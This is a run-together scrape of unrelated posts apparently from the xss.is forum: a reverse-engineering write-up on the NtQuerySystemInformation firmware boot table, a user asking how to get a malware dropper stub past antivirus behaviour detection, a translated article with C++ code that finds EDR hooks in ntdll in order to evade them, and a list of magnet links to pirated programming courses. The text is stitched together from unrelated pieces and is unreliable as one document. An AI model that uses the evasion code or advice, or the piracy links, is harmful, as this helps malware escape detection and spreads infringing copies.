SystemHardwareSecurityTestInterfaceResultsInformation = 0n166
SystemSingleModuleInformation = 0n167
SystemAllowedCpuSetsInformation = 0n168
SystemVsmProtectionInformation = 0n169
SystemInterruptCpuSetsInformation = 0n170
SystemSecureBootPolicyFullInformation = 0n171
SystemCodeIntegrityPolicyFullInformation = 0n172
SystemAffinitizedInterruptProcessorInformation = 0n173
SystemRootSiloInformation = 0n174
SystemCpuSetInformation = 0n175
SystemCpuSetTagInformation = 0n176
SystemWin32WerStartCallout = 0n177
SystemSecureKernelProfileInformation = 0n178
SystemCodeIntegrityPlatformManifestInformation = 0n179
SystemInterruptSteeringInformation = 0n180
SystemSupportedProcessorArchitectures = 0n181
SystemMemoryUsageInformation = 0n182
SystemCodeIntegrityCertificateInformation = 0n183
SystemPhysicalMemoryInformation = 0n184
SystemControlFlowTransition = 0n185
SystemKernelDebuggingAllowed = 0n186
SystemActivityModerationExeState = 0n187
SystemActivityModerationUserSettings = 0n188
SystemCodeIntegrityPoliciesFullInformation = 0n189
SystemCodeIntegrityUnlockInformation = 0n190
SystemIntegrityQuotaInformation = 0n191
SystemFlushInformation = 0n192
SystemProcessorIdleMaskInformation = 0n193
SystemSecureDumpEncryptionInformation = 0n194
SystemWriteConstraintInformation = 0n195
SystemKernelVaShadowInformation = 0n196
SystemHypervisorSharedPageInformation = 0n197
SystemFirmwareBootPerformanceInformation = 0n198
SystemCodeIntegrityVerificationInformation = 0n199
SystemFirmwarePartitionInformation = 0n200
SystemSpeculationControlInformation = 0n201
SystemDmaGuardPolicyInformation = 0n202
SystemEnclaveLaunchControlInformation = 0n203
SystemWorkloadAllowedCpuSetsInformation = 0n204
SystemCodeIntegrityUnlockModeInformation = 0n205
SystemLeapSecondInformation = 0n206
SystemFlags2Information = 0n207
SystemSecurityModelInformation = 0n208
SystemCodeIntegritySyntheticCacheInformation = 0n209
SystemFeatureConfigurationInformation = 0n210
SystemFeatureConfigurationSectionInformation = 0n211
SystemFeatureUsageSubscriptionInformation = 0n212
SystemSecureSpeculationControlInformation = 0n213
SystemSpacesBootInformation = 0n214
SystemFwRamdiskInformation = 0n215
SystemWheaIpmiHardwareInformation = 0n216
SystemDifSetRuleClassInformation = 0n217
SystemDifClearRuleClassInformation = 0n218
SystemDifApplyPluginVerificationOnDriver = 0n219
SystemDifRemovePluginVerificationOnDriver = 0n220
SystemShadowStackInformation = 0n221
SystemBuildVersionInformation = 0n222
SystemPoolLimitInformation = 0n223
SystemCodeIntegrityAddDynamicStore = 0n224
SystemCodeIntegrityClearDynamicStores = 0n225
SystemDifPoolTrackingInformation = 0n226
SystemPoolZeroingInformation = 0n227
SystemDpcWatchdogInformation = 0n228
SystemDpcWatchdogInformation2 = 0n229
SystemSupportedProcessorArchitectures2 = 0n230
SystemSingleProcessorRelationshipInformation = 0n231
SystemXfgCheckFailureInformation = 0n232
MaxSystemInfoClass = 0n233
Начну по порядку, а именно с функции NtQuerySystemInformation
. Согласно msdn
эта функция "Извлекает указанную системную информацию ". Данная функция
экспортируется из ntdll.dll и посредством сискола выполняется в контексте
ядра. На самом деле в ядре основную логику выполняет функция
ExpQuerySystemInformation
размером ~ 3000 строк. В спойлере ниже
"причесанный" вывод Hex-Rays. Да, я из тех, кто чаще всего обращается к
декомпилятору.
Spoiler: NtQuerySystemInformation.c
C:Copy to clipboard
NTSTATUS __stdcall NtQuerySystemInformation(
SYSTEM_INFORMATION_CLASS SystemInformationClass,
PVOID SystemInformation,
ULONG SystemInformationLength,
PULONG ReturnLength)
{
__int16 *InputBuffer; // r10
int InputBufferLength; // r8d
__int16 Group; // [rsp+40h] [rbp+8h] BYREF
InputBuffer = 0i64;
Group = 0;
if ( SystemInformationClass < SystemWow64SharedInformationObsolete
|| SystemInformationClass >= SystemProcessorIdleCycleTimeInformation )
{
switch ( SystemInformationClass )
{
case SystemProcessorPerformanceInformation:
case SystemInterruptInformation:
case SystemProcessorIdleInformation:
case SystemProcessorPowerInformation:
case SystemProcessorIdleCycleTimeInformation:
case SystemProcessorPerformanceDistribution:
case SystemProcessorCycleTimeInformation:
case SystemProcessorPerformanceInformationEx:
Group = KeGetCurrentPrcb()->Group;
goto LABEL_8;
case SystemLogicalProcessorInformation:
LABEL_8:
InputBuffer = &Group;
InputBufferLength = 2;
return ExpQuerySystemInformation(
SystemInformationClass,
(__int64)InputBuffer,
InputBufferLength,
SystemInformation,
SystemInformationLength,
ReturnLength);
case SystemLogicalProcessorAndGroupInformation:
case SystemNodeDistanceInformation:
case SystemInterruptSteeringInformation:
case SystemFeatureConfigurationInformation:
case SystemFeatureConfigurationSectionInformation:
return STATUS_INVALID_INFO_CLASS;
default:
break;
}
}
InputBufferLength = 0;
return ExpQuerySystemInformation(
SystemInformationClass,
(__int64)InputBuffer,
InputBufferLength,
SystemInformation,
SystemInformationLength,
ReturnLength);
}
Стоит также отметить, что практически для каждого поля SystemInformationClass
в функции ExpQuerySystemInformation
вызывается отдельная ядерная функция,
которая "добывает" системную информацию и вежливо помещает в юзермодный буфер,
который мы выделяем под системную структуру (если мы знаем размер этой
структуры и из чего эта структура состоит). Не все структуры отревершены, но
многие могут быть найдены в блоге Geoff Chappel'a или же в исходных кодах
Windows 2003/XP.
В общем, масштабы этой NT-функции впечатляют.
Чтобы не путаться в терминологии под классом я буду понимать просто ту или
иную системную информацию, которую мы хотим извлечь. Мое внимание привлек
класс SystemFirmwareBootPerformanceInformation
из структуры
_SYSTEM_INFORMATION_CLASS
с порядковым номером 198 т.к. я нигде не нашел о
нем информации. Собственно, первое, что нам нужно знать - это валидный размер
буфера, который мы будем выделять. Этого можно достигнуть путем реверс-
инжиниринга, либо сыграть в угадайку. Если мы не укажем валидный размер, то
получим ошибку STATUS_INFO_LENGTH_MISMATCH
. В коде это выглядит так (на
примере класса SystemHypervisorSharedPageInformation
) :
C:Copy to clipboard
case SystemHypervisorSharedPageInformation:// Returns 0x7ffe3000 - _HYPERVISOR_SHARED_DATA address
//
//
// typedef struct _SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION
// {
// QWORD HyperSharedAddr;
// } SYSTEM_HYPERVISOR_SHARED_PAGE_INFORMATION;
ReturnedLength = 8;
if ( SystemInformationLength < 8 )
{
status = STATUS_INFO_LENGTH_MISMATCH;
}
else
{
v36 = HyperSharedDataAddr;
*(_QWORD *)SystemInformation = 0i64;
*(_QWORD *)SystemInformation = v36;
}
goto ReturnFromFunc;
Для наглядности, прототип
C:Copy to clipboard
__kernel_entry NTSTATUS NtQuerySystemInformation(
[in] SYSTEM_INFORMATION_CLASS SystemInformationClass,
[in, out] PVOID SystemInformation,
[in] ULONG SystemInformationLength,
[out, optional] PULONG ReturnLength
);
Т.е. в данном случае, вызывая NtQuerySystemInformation
для класса
SystemHypervisorSharedPageInformation
, мы должны указать
SystemInformationLength
>= 8, чтобы функция вернула STATUS_SUCCESS
.
Вернемся обратно к SystemFirmwareBootPerformanceInformation
. Что
примечательно для этого класса, то ядерная функция, которая извлекает нужную
информацию - xHalSetSystemInformation
вызывается не напрямую, а через
_guard_dispatch_icall
, а сама процедура xHalSetSystemInformation
в
дизассемблере просто возвращает STATUS_INVALID_LEVEL
.
Я не знаю как работает весь этот CFG (Control Flow Guard), который реализуется
через _guard_dispatch_icall
, но мне нужно узнать размер и содержимое
структуры. Отладчик запускать было, честно говоря, лень. Я пошел другим путем.
Да, угадайка (чуйка очка) - сила.
Указав в качестве буфера размер одной страницы - 0x1000 я получил любопытные данные в шестнадцатеричном дампе.
Code:Copy to clipboard
46 42 50 54 38 00 00 00 02 00 30 02 00 00 00 00 | FBPT8.....0.....
DE C8 AC E8 A1 D0 68 80 23 58 42 07 01 00 00 00 | ......h.#XB.....
5B 03 13 09 01 00 00 00 A8 CA 9A 55 01 00 00 00 | [..........U....
2D 23 AC 55 01 00 00 00 | -#.U....
....
Прозорливый глаз сразу увидит что-то похожее на сигнатуру в начале дампа. Немного погуглив, оказалось, что это т.н. [Firmware Basic Boot Performance Table](https://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html#firmware- basic-boot-performance-table), описанная спецификацией UEFI.
Создадим необходимые структуры.
C:Copy to clipboard
/*
Based on https ://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html
The Firmware Basic Boot Performance Table resides outside of the FPDT.
It includes a header, defined in Table 5.93, and one or more Performance Records.
*/
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER
{
DWORD Signature; // ‘FBPT’ is the signature to use.
BYTE Length; // Length of the Firmware Basic Boot Performance Table.
// This includes the header and allocated size of the subsequent records.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER;
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD
{
USHORT PerformanceRecordType; // 2 - Firmware Basic Boot Performance Data Record. Only one of these records will be produced.
BYTE RecordLength; // 48 - This value depicts the length of the performance record, in bytes.
BYTE Revision; // 2 - Revision of this Performance Record
DWORD Reserved; // Reserved
DWORD64 ResetEnd; // Timer value logged at the beginning of firmware image execution. This may not always be zero or near zero.
DWORD64 OSLoaderImageStart; // Timer value logged just prior to loading the OS boot loader into memory.
// For non-UEFI compatible boots, this field must be zero.
DWORD64 OsLoaderStartImageStart; // Timer value logged just prior to launching the currently loaded OS boot loader image.
// For non-UEFI compatible boots, the timer value logged will be just prior to the INT 19h handler invocation
DWORD64 ExitBootServicesEntry; // Timer value logged at the point when the OS loader calls the ExitBootServices function for UEFI compatible firmware.
// For non-UEFI compatible boots, this field must be zero.
DWORD64 ExitBootServicesExit; // Timer value logged at the point just prior to the OS loader gaining control back from the ExitBootServices
// function for UEFI compatible firmware. For non-UEFI compatible boots, this field must be zero.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD;
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE
{
FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER Header;
FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD PerfRecord;
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE;
Теперь мы можем точно указать размер структуры, который равен, судя по спецификации и полученному дампу, 0x38 или 56 байт (поле Length). А теперь выведем на экран результат. Отмечу, что права администратора в данном случае не нужны.
Spoiler: systeminfo.c
C:Copy to clipboard
// It's just a PoC
#include <Windows.h>
#include <stdio.h>
#include <winternl.h>
#pragma comment(lib, "ntdllp.lib")
#define SystemFirmwareBootPerformanceInformation 198
/*
Based on https ://uefi.org/specs/ACPI/6.4/05_ACPI_Software_Programming_Model/ACPI_Software_Programming_Model.html
The Firmware Basic Boot Performance Table resides outside of the FPDT.
It includes a header, defined in Table 5.93, and one or more Performance Records.
*/
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER
{
DWORD Signature; // ‘FBPT’ is the signature to use.
BYTE Length; // Length of the Firmware Basic Boot Performance Table.
// This includes the header and allocated size of the subsequent records.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER;
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD
{
USHORT PerformanceRecordType; // 2 - Firmware Basic Boot Performance Data Record. Only one of these records will be produced.
BYTE RecordLength; // 48 - This value depicts the length of the performance record, in bytes.
BYTE Revision; // 2 - Revision of this Performance Record
DWORD Reserved; // Reserved
DWORD64 ResetEnd; // Timer value logged at the beginning of firmware image execution. This may not always be zero or near zero.
DWORD64 OSLoaderImageStart; // Timer value logged just prior to loading the OS boot loader into memory.
// For non-UEFI compatible boots, this field must be zero.
DWORD64 OsLoaderStartImageStart; // Timer value logged just prior to launching the currently loaded OS boot loader image.
// For non-UEFI compatible boots, the timer value logged will be just prior to the INT 19h handler invocation
DWORD64 ExitBootServicesEntry; // Timer value logged at the point when the OS loader calls the ExitBootServices function for UEFI compatible firmware.
// For non-UEFI compatible boots, this field must be zero.
DWORD64 ExitBootServicesExit; // Timer value logged at the point just prior to the OS loader gaining control back from the ExitBootServices
// function for UEFI compatible firmware. For non-UEFI compatible boots, this field must be zero.
} FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD;
typedef struct _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE
{
FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER Header;
FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD PerfRecord;
} FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE;
int main()
{
NTSTATUS status;
FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE fbpt = { 0 };
DWORD size = sizeof(fbpt);
status = NtQuerySystemInformation(SystemFirmwareBootPerformanceInformation, &fbpt, size, NULL);
if (!NT_SUCCESS(status))
{
printf("[-] NtQuerySystemInformation failed with status = %x\n", status);
}
//DumpHex(&fbpt, size);
/*
46 42 50 54 38 00 00 00 02 00 30 02 00 00 00 00 | FBPT8.....0.....
DE C8 AC E8 A1 D0 68 80 23 58 42 07 01 00 00 00 | ......h.#XB.....
5B 03 13 09 01 00 00 00 A8 CA 9A 55 01 00 00 00 | [..........U....
2D 23 AC 55 01 00 00 00 | -#.U....
*/
printf(" _FIRMWARE_BASIC_BOOT_PERFORMANCE_TABLE_HEADER\n\n");
printf("FBPT Signature:\t\t%x\nFBPT Length:\t\t%x\n\n", fbpt.Header.Signature, fbpt.Header.Length);
printf("_FIRMWARE_BASIC_BOOT_PERFORMANCE_DATA_RECORD\n\n");
printf("PerformanceRecordType:\t%x\n"
"RecordLength:\t\t%x\n"
"Revision:\t\t%x\n"
"Reserved:\t\t%x\n"
"ResetEnd:\t\t%llx\n"
"OSLoaderImageStart:\t%llx\n"
"OsLoaderStartImageStart:%llx\n"
"ExitBootServicesEntry:\t%llx\n"
"ExitBootServicesExit\t%llx\n",
fbpt.PerfRecord.PerformanceRecordType,
fbpt.PerfRecord.RecordLength,
fbpt.PerfRecord.Revision,
fbpt.PerfRecord.Reserved,
fbpt.PerfRecord.ResetEnd,
fbpt.PerfRecord.OSLoaderImageStart,
fbpt.PerfRecord.OsLoaderStartImageStart,
fbpt.PerfRecord.ExitBootServicesEntry,
fbpt.PerfRecord.ExitBootServicesExit);
}
Возможно, кому-то эта информация пригодится. Кстати, в виртуальной машине вы
получите пустую таблицу и, возможно, на машинах с Legacy BIOS тоже что-то
будет отличаться.
Тестировал все на машине с Windows 11 и Windows 10 на виртуалке.
UPD.
Прогнал все-таки на виртуалке. Стек вызовов.
Code:Copy to clipboard
2: kd> k
# Child-SP RetAddr Call Site
00 fffffd08`b42ae3f8 fffff801`4683c222 nt!HaliQuerySystemInformation
01 fffffd08`b42ae400 fffff801`466f18c7 nt!ExpQuerySystemInformation+0x14a812
02 fffffd08`b42aeac0 fffff801`46405fb5 nt!NtQuerySystemInformation+0x37
03 fffffd08`b42aeb00 00007ffb`014ac454 nt!KiSystemServiceCopyEnd+0x25
04 000000a8`d89efce8 00007ff7`0d7f1105 ntdll!NtQuerySystemInformation+0x14
HaliQuerySystemInformation
возвращает STATUS_NOT_IMPLEMENTED. Полагаю,
отсюда и пустая таблица.
Hi xss members
I mad my stub clean and work fine on my windows but on my windows freind when
he try to lunch the antivurs catch it and status : behavior detection .
Yeb and then delete .
the stub usualy created with c++ he copy them self and run in new process then
drop file to temp path
and run it in new process just like this .
so any one has an idea , the insane thing here in memory can bypass without behvaior analysis .
Можно быстро определить, какие вызовы Windows API перехватываются EDR, используя технику встроенного исправления, когда инструкция jmp вставляется в начало перехватываемой заглушки системного вызова.
Введение
Функция до установки хука
Ниже показана заглушка для NtReadVirtualMemory
в системе без EDR, что
означает, что системный вызов NtReadVirtualMemory
не перехватывается:
Мы видим, что заглушка системного вызова NtReadVirtualMemory
начинается с
инструкций:
Code:Copy to clipboard
00007ffc`d6dcc780 4c8bd1 mov r10,rcx
00007ffc`d6dcc783 b83f000000 mov eax,3Fh
...
Вышеупомянутое относится к большинству функций, начинающихся сZw,
то есть
ZwReadVirtualMemory
тоже.
Вот как эти инструкции выглядят в байткоде:
Code:Copy to clipboard
4c 8b d1 b8
4c 8b d1 b8 — важны для этой статьи, запомните их — мы скоро вернемся к этому в разделе «Проверка наличия хуков».
Функция после установки хука
Ниже показан пример того, как выглядит заглушка системного вызова
NtReadVirtualMemory
, когда она перехвачена EDR:
Обратите внимание, что в этом случае первая инструкция — это инструкция jmp, перенаправляющая выполнение кода куда-то еще (другой модуль в памяти процесса):
Code:Copy to clipboard
jmp 0000000047980084
вот как она выглядит в байткоде:
Code:Copy to clipboard
e9 0f 64 f8 c7
e9 - опкод для ближнего прыжка
0f64f8c7 - смещение относительно адреса текущей инструкции, куда перейдет
код
Проверка наличия хуков
Зная, что интересные функции/системные вызовы (которые часто используются в вредоносных программах), названия которых начинаются с Nt | Zw
, до установки хука, начнинаются с опкодов: 4c 8b d1 b8
, мы можем определить, перехвачена ли данная функция или нет, следуя этому алгоритму:
4c 8b d1 b8
1. Если да - то хук не установлен
2. Если нет, функция, скорее всего, перехвачена (за парой исключений, упомянутых под спойлером "Ложные срабатывания").Ниже приведен упрощенный визуальный пример, в который объясняет описанный выше процесс:
NtReadVirtualMemory
начинается с кода операции e9 0f 64 f8
, а не 4c 8b d1 b8
, что означает, что она скорее всего перехваченаNtWriteVirtualMemory
запускается с опкодами 4c 8b d1 b8
, что означает, что она не была перехвачена.Spoiler: Ложные срабатывания
Хотя этот метод очень эффективен при обнаружении функций, перехваченных с помощью встроенных исправлений, он возвращает несколько ложных срабатываний при поиске перехваченных функций внутри ntdll.dll, например:
Код
Ниже приведен код, который мы можем скомпилировать и запустить на конечной
точке с AV/EDR, чтобы найти API, которые, скорее всего, были перехвачены:
C++:Copy to clipboard
#include <iostream>
#include <Windows.h>
int main()
{
PDWORD functionAddress = (PDWORD)0;
// Получение адресса ntdll
HMODULE libraryBase = LoadLibraryA("ntdll");
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)libraryBase;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)libraryBase + dosHeader->e_lfanew);
// Поиск таблицы экспортов
DWORD_PTR exportDirectoryRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_EXPORT_DIRECTORY imageExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((DWORD_PTR)libraryBase + exportDirectoryRVA);
// Смещения к списку названий и адресов экспортированных функий
PDWORD addresOfFunctionsRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfFunctions);
PDWORD addressOfNamesRVA = (PDWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNames);
PWORD addressOfNameOrdinalsRVA = (PWORD)((DWORD_PTR)libraryBase + imageExportDirectory->AddressOfNameOrdinals);
// Итерация по функциям Iterate through exported functions of ntdll
for (DWORD i = 0; i < imageExportDirectory->NumberOfNames; i++)
{
// Получение имени
DWORD functionNameRVA = addressOfNamesRVA[i];
DWORD_PTR functionNameVA = (DWORD_PTR)libraryBase + functionNameRVA;
char* functionName = (char*)functionNameVA;
// Получение адреса
DWORD_PTR functionAddressRVA = 0;
functionAddressRVA = addresOfFunctionsRVA[addressOfNameOrdinalsRVA[i]];
functionAddress = (PDWORD)((DWORD_PTR)libraryBase + functionAddressRVA);
// Образец первых четырёх байтов функции
char syscallPrologue[4] = { 0x4c, 0x8b, 0xd1, 0xb8 };
// Функции начинающиеся только с Nt | Zw
if (strncmp(functionName, (char*)"Nt", 2) == 0 || strncmp(functionName, (char*)"Zw", 2) == 0)
{
// Сравнение начала функции с образцом\
if (memcmp(functionAddress, syscallPrologue, 4) != 0) {
printf("Potentially hooked: %s : %p\n", functionName, functionAddress);
}
}
}
return 0;
}
Демо
Ниже приведен фрагмент вывода программы, скомпилированной из приведенного выше
исходного кода и запущенной в системе с присутствующим EDR. Он показывает
некоторые интересные функции (отображены не все), которые, скорее всего,
перехвачены, за исключением NtGetTickCount
, которая, как упоминалось ранее,
является ложным срабатыванием:
Дополнение
После того, как я разместил эту заметку в своем твиттере, я получил следующий
ответ от Дерека Ринда:
Дерек предлагает проверить, не перехвачена ли сама инструкция системного
вызова. Подпрограмму обработчика системных вызовов (отвечающую за поиск
функций в соответствии с номером системного вызова) можно найти, прочитав
специальный регистр модели (MSR) по адресу 0xc0000082
и подтвердив, что
хранящийся там адрес указывает на nt!KiSystemCall64Shadow
.
Ниже показано, как это можно сделать вручную в WinBDG:
Code:Copy to clipboard
lkd> rdmsr c0000082
msr[c0000082] = fffff803`24a13180
lkd> u fffff803`24a13180
nt!KiSystemCall64Shadow:
fffff803`24a13180 0f01f8 swapgs
fffff803`24a13183 654889242510900000 mov qword ptr gs:[9010h],rsp
От ТС
Эта статья является переводом, оригинал доступен
[тут](https://www.ired.team/offensive-security/defense-evasion/detecting-
hooked-syscall-functions)
Небольшая, но полезная заметка, особенно для новичков. Решил перевести для
форума.
Если есть какие-то ошибки, пишите в лс - исправлю!
Перевод:
Azrv3l cпециально для xss.is
![? Важные языки программирования, используемые этичными ...](/proxy.php?image=https%3A%2F%2Fexternal- content.duckduckgo.com%2Fiu%2F%3Fu%3Dhttps%253A%252F%252Fitsecforu.ru%252Fwp- content%252Fuploads%252F2019%252F04%252Frecursosprogramadores.png%26f%3D1%26nofb%3D1&hash=0a2b0d2327a070869ae88493c6cbd7bc)
**C++
** OTUS | C++ для начинающих программистов (2020) Link
OTUS | Разработчик C++ (2020) Link
**C#
** ITVDN, Александр Шевчук | C# Базовый (ООП) (2021) Link
OTUS, Алексей Ягур | C# ASP.NET Core разработчик [Части 1-4 из 5] (2021) Link
ITVDN, Александр Шевчук | C# 8.0 Стартовый (2021) Link
OTUS - Разработчик C# (2020)
[Link](http://magnet:?xt=urn:btih:0425ac2220d45502da4631caafc34d87806c73f3&dn=[underver.se].t166992.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
OTUS | C# для начинающих программистов (2020) Link
**JAVA
** [Skillbox] Даниил Пилипенко - Java-разработчик (2020)
[Link](http://magnet:?xt=urn:btih:db40f75513b10f30aecbf7022ba0d117e35cb496&dn=[underver.se].t182417.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Foxminded - Java Start (2020)
[Link](http://magnet:?xt=urn:btih:a88ae5b5c258eb40f38c5d72c472b958c0452ad8&dn=[underver.se].t166096.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Foxminded - Инструментарий Java для новичка (2020)
[Link](http://magnet:?xt=urn:btih:be801b3a4d9c98b09df41d8d37ddff03b541ee38&dn=[underver.se].t171348.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Kotlin
Udemy - Android разработка на Kotlin - с нуля до продвинутого уровня (2020)
[Link](http://magnet:?xt=urn:btih:4053703759c47c97cc93d5789e779b666371f1f7&dn=[underver.se].t169439.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Udemy, Andrey Sumin - Android профессиональный уровень (Kotlin) (2020)
[Link](http://magnet:?xt=urn:btih:9f693b500ab53c6ed79f63b91eed874fd6e84dfd&dn=[underver.se].t217655.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Специалист - Kotlin. Уровень 1. Основы программирования (2020)
[Link](http://magnet:?xt=urn:btih:7dd944f18f9f91fb8af8cee0164d83792d8bf940&dn=[underver.se].t167595.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Специалист - Kotlin. Уровень 2. Разработка приложений (2020)
[Link](http://magnet:?xt=urn:btih:2ce5cd186d93c8dea084066e173d64fddefb68f9&dn=[underver.se].t167594.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Swift
[SwiftBook] Программирование на Swift (2016-2020)
Link
PHP
Михаил Русаков - PHP и MySQL с Нуля до Гуру 2.0 (2019)
[Link](http://magnet:?xt=urn:btih:92167561cf5ff950aec6f7795890f6c29d152e5c&dn=[underver.se].t211550.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
AreaWeb, Михаил Протасевич - Laravel 8 — лучший PHP фреймворк (2020)
[Link](http://magnet:?xt=urn:btih:566ad6d1d72bffabe2a3499f7dc57300cfd9f160&dn=[underver.se].t202382.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
Дмитрий Лаврик - PHP – базовый курс (2020)
[Link](http://magnet:?xt=urn:btih:4a29c63b643459a120cd645d67779b5496e7e045&dn=[underver.se].t164778.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
ITVDN, Владимир Кадук - PHP 8.0 Стартовый (2021)
[Link](http://magnet:?xt=urn:btih:c6f921a0a88ec10078f0cc61e3d0b550a41fe9df&dn=[underver.se].t208712.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
JavaScript
Udemy, Иван Петриченко | Полный курс по JavaScript + React - с нуля до результата (2021) Link
Udemy, Владилен Минин | JavaScript 2021 - Полное Руководство с Нуля до Профи (2020) Link
HTML+CSS
HTML Academy | HTML и CSS. Адаптивная вёрстка и автоматизация (2020-2021) Link
HTML Academy - Онлайн курс HTML и CSS. Профессиональная вёрстка сайтов (2021)
[Link](http://magnet:?xt=urn:btih:56800b5dc1dbf93168ef5a8cd2b8e8467d4e5bc1&dn=[underver.se].t207057.torrent&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-
paradise.org%3A6969&tr=udp%3A%2F%2Fexplodie.org%3A6969&tr=udp%3A%2F%2Ftracker.opentrackr.org%3A1337&tr=http%3A%2F%2Fretracker.local/announce&tr=http%3A%2F%2Fund3rv3rse.info%2Ffree%2Fannounce)
DevOps
[OTUS] DevOps практики и инструменты (2019)
Link
GoLang
OTUS - Разработчик Golang (2019)
